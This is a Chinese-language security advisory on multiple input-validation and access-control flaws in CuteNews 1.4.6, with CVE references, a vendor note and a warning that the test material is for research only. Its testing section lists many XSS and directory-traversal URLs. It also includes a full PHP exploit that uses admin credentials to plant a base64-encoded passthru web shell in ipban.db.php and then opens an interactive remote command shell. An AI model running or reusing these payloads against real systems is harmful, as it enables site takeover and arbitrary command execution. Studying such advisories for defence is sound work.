安全研究

安全漏洞
CuteNews多个输入验证和访问验证漏洞

发布日期:2009-11-10
更新日期:2009-12-03

受影响系统:
CutePHP CuteNews 1.4.6
描述:
BUGTRAQ  ID: 36971
CVE ID: CVE-2009-4113,CVE-2009-4115,CVE-2009-4116,CVE-2009-4172,CVE-2009-4173,CVE-2009-4174,CVE-2009-4175

Cutenews是一款功能强大的新闻管理系统,使用平坦式文件存储。

CuteNews中存在多个输入验证和访问验证等错误,远程攻击者可以执行跨站脚本、脚本注入、非授权访问等各种攻击,完全入侵有漏洞的系统。

1) 没有正确地过滤对index.php页面所提交的mod参数便返回给了用户,这可能导致跨站脚本攻击。

2) 在阻断IP地址是没有正确的过滤add_ip参数便储存在了data/ipban.db.php中,这可能导致注入并执行任意PHP代码。成功攻击要求管理权限且禁用了.htaccess文件支持。

4) 当subaction设置为showcomments的时候,没有正确的过滤提交给shownews.php页面的comments参数便显示给了用户,当用户查看恶意数据时就会导致执行跨站脚本。

5) 当mod设置为addnews且action设置为addnews的时候,没有正确的过滤提交给index.php页面的title、short_story和full_story参数便显示给了用户,当用户查看恶意数据时就会导致执行跨站脚本。

6) CuteNews没有正确的限制对Edit News功能的访问,这可能导致在管理员批准后更改新闻的内容。

7) CuteNews未经执行有效性检查便允许用户通过HTTP请求执行某些操作,这可能导致跨站请求伪造攻击。

8) 当mod设置为categories的时候,没有正确的过滤提交给index.php页面的cat_name参数便用于创建新的目录,通过访问/data/category.db.php就可以执行任意PHP代码。成功利用这个漏洞要求管理权限。

9) 当mod设置为options且action设置为syscon的时候,没有正确的过滤提交给index.php页面的save_con[skin]参数便用于包含文件,攻击者可以通过目录遍历攻击包含本地资源的任意文件。成功利用这个漏洞要求管理权限。

<*来源:Andrew Horton
  
  链接:http://secunia.com/advisories/33447/
        http://marc.info/?l=bugtraq&m=125787050005113&w=2
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

http://www.example.com/test/cutenews/index.php?lastusername=&#039;%3E%3Cscript%3Ealert(/xss/);%3C/script%3E
http://www.example.com/test/cutenews/index.php?mod=%3Cscript%3Ealert(/xss/)%3C/script%3E
http://www.example.com/test/cutenews/register.php?result=%3Cscript%3Ealert(/XSS/);%3C/script%3E
http://www.example.com/test/cutenews/search.php?user=%22%3E%3Cscript%3Ealert(/xss/);%3C/script%3E
http://www.example.com/test/cutenews/search.php?title=%22%3E%3Cscript%3Ealert(/xss/);%3C/script%3E
http://www.example.com/test/cutenews/index.php?mod=editnews&amp;action=list&amp;cat_msg=%3Cscript%3Ealert(/xss/);%3C/script%3E
http://www.example.com/test/cutenews/index.php?mod=editnews&amp;action=list&amp;source_msg=%3Cscript%3Ealert(/xss/);%3C/script%3E
http://www.example.com/test/cutenews/index.php?mod=editnews&amp;action=list&amp;postponed_selected=%3E%3Cscript%3Ealert(/xss/);%3C/script%3E
http://www.example.com/test/cutenews/index.php?mod=editnews&amp;action=list&amp;unapproved_selected=%3E%3Cscript%3Ealert(/xss/);%3C/script%3E
http://www.example.com/test/cutenews/index.php?mod=editnews&amp;action=list&amp;news_per_page=%3Cscript%3Ealert(/xss/);%3C/script%3E
[link=javascript://%0adocument.write(&#039;&lt;script&gt;alert(/xss/)&lt;/script&gt;&#039;)]funny pictures[/link]
[link=javascript://%0adocument.write(&#039;&lt;img src=&quot;javascript:alert(/xss/);&quot;&gt;&#039;)]funny pictures[/link]
http://www.example.com/test/cutenews/index.php?mod=addnews&amp;action=addnews
http://www.example.com/test/cutenews/search.php?dosearch=yes&amp;from_date_day=a&amp;from_date_month=5&amp;from_date_year=2003&amp;to_date_day=4&amp;to_date_month=5&amp;to_date_year=2010
http://www.example.com/test/cutenews/index.php?mod=editnews&amp;action=list&amp;source=../users.db.php%00
http://www.example.com/test/cutenews/index.php?mod=editnews&amp;action=editnews&amp;id=1255182669&amp;source=../users.db.php%00

#!/usr/bin/php -q
<?php

/*********************************************************************
* CuteNews <= 1.4.6 (ip ban) XSS / Remote Command Execution Exploit *
* by athos - staker[at]hotmail[dot]it                               *
* http://cutephp.com                                                *
*-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--*
* Remote Command Execution                                          *
*-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--*
* you need a super account (administrator)                          *
* so you can write in ipban.db.php anything ;)                      *
*                                                                   *
* works regardless of php.ini settings! enjoy your ais              *
* note: this vuln is a privilege escalation                         *  
*                                                                   *
*-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--*
* Cross Site Scripting                                              *
*-=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--*          
* http://[host]/[path]//index.php?mod=[Javascript Code]             *
*********************************************************************/

error_reporting(0);

list($cli,$host,$path,$username,$password) = $argv;

if ($argc != 5) {  
    
    print "\n+-------------------------------------------------------------+\n";
    print "\r| CuteNews <= 1.4.6 (ip ban) Remote Command Execution Exploit |\n";
    print "\r+-------------------------------------------------------------+\n";
    print "\rby athos - staker[at]hotmail[dot]it / http://cutephp.com\n\n";
    print "\rUsage: php xpl.php [host] [path] [username] [password]\n\n";
    print "\rhost     + localhost\n";
    print "\rpath     + /cutenews\n";
    print "\rusername + admin username\n";
    print "\rpassword + admin password\n\n";
    exit;      
}        

exploit();

function login () {
    
    global $username,$password;
    
    $cookies .= "username={$username}; md5_password=";
    $cookies .= md5($password);
    
    return $cookies;
}    


function check_login() {
    
    global $host,$path;
    
    $auth .= login();
    
    $data .= "GET /{$path}/index.php HTTP/1.1\r\n";
    $data .= "Host: {$host}\r\n";
    $data .= "User-Agent: Lynx (textmode)\r\n";
    $data .= "Cookie: $auth;\n";
    $data .= "Connection: close\r\n\r\n";
    
    if (preg_match('/Welcome/i',$data)) {
        return true;
    }
    else {
        die("Login Failed\n");
    }    
}


function exploit() {

    global $host,$path;
    
    $login  = login();
    $shell = "PD9waHAgDQpwYXNzdGhydSgkX0dFVFsnYyddKTsgDQo/Pg==";
    
    $shell = base64_decode($shell);
    $post  = "add_ip={$shell}&action=add&mod=ipban";
    
    $data .= "POST /{$path}/index.php HTTP/1.1\r\n";
    $data .= "Host: {$host}\r\n";
    $data .= "User-Agent: Lynx (textmode)\r\n";
    $data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
    $data .= "Cookie: $login\r\n";
    $data .= "Referer: http://{$host}/{$path}/index.php\r\n";
    $data .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $data .= "Content-Length: ".strlen($post)."\r\n\r\n";
    $data .= "{$post}\r\n\r\n";
          
    if (eregi('passthru',data_send($host,$data))) {
        yeat_shell();
    }
    else {
        die("Exploit Failed!\n");
    }                
}


function yeat_shell() {
    
    while (1) {
        echo "yeat[shell]~$: ";
        $exec = stripslashes(trim(fgets(STDIN)));  
        
        if (preg_match('/^(exit|--exit|quit|--quit)$/i',$exec)) die("\nExited\n");
        if (preg_match('/^(help|--help)$/i',$exec)) echo("\nExample: uname -a\n");
        if (preg_match('/^(about|--about)$/i',$exec)) echo("\nstaker[at]hotmail[dot]it\n");
        
        print data_exec($exec);    
    }
}


function data_exec($exec) {
    
    global $host,$path;
    
    $exec = urlencode($exec);
    $data .= "GET /{$path}/data/ipban.db.php?c={$exec} HTTP/1.1\r\n";
    $data .= "Host: {$host}\r\n";
    $data .= "User-Agent: Lynx (textmode)\r\n";
    $data .= "Connection: close\r\n\r\n";
    
    $html = data_send ($host,$data);
    $html = str_replace('|0||',null,$html);
    return $html;
}


function data_send ($host,$data) {
  
    if (!$sock = @fsockopen($host,80)) {
        die("Connection refused,try again!\n");
    }   fputs($sock,$data);
    
    while (!feof($sock)) { $html .= fgets($sock); }
    
    fclose($sock);
    return $html;
}

建议:
厂商补丁:

CutePHP
-------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

www.CutePHP.com.

浏览次数:2919
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障